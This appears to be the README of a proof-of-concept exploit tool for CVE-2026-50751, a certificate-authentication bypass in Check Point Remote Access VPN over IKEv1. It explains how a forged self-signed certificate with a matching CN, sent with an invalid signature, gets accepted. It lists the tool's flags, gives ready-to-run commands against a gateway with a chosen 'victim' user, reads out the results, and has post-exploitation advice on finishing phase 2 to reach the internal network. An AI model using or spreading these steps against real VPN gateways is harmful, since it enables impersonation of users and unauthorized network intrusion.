绕过 Check Point Remote-Access VPN(IKEv1)中的证书认证。
CVE-2026-50751 是 Check Point 的 iked 进程中的一个认证绕过漏洞,存在于未安装 hotfix sk185033 的 R81.10、R82 和 R82.10 版本中。该缺陷允许在无私钥、无密码且无有效证书的情况下,以任意已配置的 Remote Access 用户身份通过认证。
存在漏洞的 iked 会从 Vendor ID VPNExtFeatures 中读取一个标志位(位 0x4),若该标志位被启用,则跳过 verify_peer_auth / verifyMessagePhase1。其后果是:
不验证证书签名(持有证明)。
不验证信任链。
仅检查 subject DN 是否能解析到某个已配置的用户。
只需伪造一个自签名证书,使其 CN= 与目标用户匹配,并以无效签名发送即可。如果网关接受第一阶段,我们便已以该用户身份完成认证(ISAKMP SA 以其 DN 保存)。
该漏洞在 IKE(UDP 500/4500)以及 Visitor Mode(TCPT,TCP 443)上均有效。
语法
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| 标志 | 描述 | 默认值 |
|---|---|---|
-host | 网关的 IP 或主机名 (必填) | — |
-user | 要模拟的 RA 用户名 (必填) | — |
-port | 端口:500、4500(UDP)或 443(TCPT) | 500 |
-org | ICA 的组织(O=)。如果省略,则从网关 443 端口上的 TLS 证书推导 | — |
-ou | 用户 DN 的组织单位(OU=)。必须与 Check Point 为该用户存储的 OU 完全一致 | users |
-timeout | 每次操作的超时时间(接受任何 Go 时长:6s、500ms、1m) | 6s |
-retries | 如果网关在第一次尝试时未响应,则重试 msg1 的次数 | 1 |
-tcpt | 强制使用 Visitor Mode 传输(基于 TCP 的 TCPT,不使用 TLS)。如果指定 -port 443 则自动启用 | false |
关于
-ou的说明:默认值为users,但在实践中 RA 用户通常属于某个特定组(例如VPN_GROUP)。请使用mgmt_cli show user name "<usuario>" details-level "full" --format json查询,并查找distinguished-name字段。错误的OU会导致网关静默丢弃msg5(NO_RESPONSE或INCONCLUSIVE),因为它无法将 DN 解析为任何已配置的用户。
O=)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
在 Linux/macOS 上,你需要 sudo 才能将 UDP 端口 500 绑定为源端口。如果你无法使用 sudo,PoC 会回退到临时端口,而许多网关会因为源端口非标准而忽略这些数据包。
当网关未在 443 端口暴露其 TLS 证书,或自动推导出的 O= 与已配置用户的 O= 不匹配时,此方法很有用:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
当指定 -port 443 时会自动激活:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
通过 -tcpt 显式强制(以防网关的 Visitor Mode 监听在 443 以外的端口):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
用于穿透你的机器与网关之间的 NAT。该 PoC 使用 RFC 3948 的 NON-ESP 标记为数据包添加前缀:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
适用于慢速链路或带速率限制的网关:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| 输出 | 含义 | 应采取的措施 |
|---|---|---|
[+] [BYPASSED] + 内部 IP | 绕过成功;IKEv1 SA 已以被冒充用户的身份建立 | 参见 后利用 章节 |
[-] [REJECTED] | 网关解密了你的 msg5 但拒绝了认证 | 用户未配置、OU 不正确,或网关已打补丁(sk185033) |
[-] [NO_CERT_REALM] | 网关在 Main Mode 中不提供证书认证 | 网关未处于 Certificate/Mixed 模式,或仅接受 IKEv2 |
[-] [NO_RESPONSE] | 对 msg1 无响应 | 防火墙阻止 UDP/500、iked 未运行,或存在速率限制 |
[!] [INCONCLUSIVE] | 无决定性响应 | 几分钟后重试;检查 tcpdump 和 iked 日志 |
一旦获得 [BYPASSED],PoC 已建立完整的 IKEv1 安全关联,且网关已为你分配了 Remote Access 池中的虚拟 IP。从网关的角度来看,你就是企业网络内被冒充的用户。
然而,PoC 不 提供可用的数据隧道(未实现 Quick Mode / IPsec ESP)。要利用该网络位置,需要完成第 2 阶段。这可以通过以下方式实现:
strongSwan 或 OpenVPN 配合可操纵的证书:配置客户端使用带有伪造 DN 的证书,并在绕过之后协商 Quick Mode。需要修改流程以注入 VID 并跳过客户端的签名验证。Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │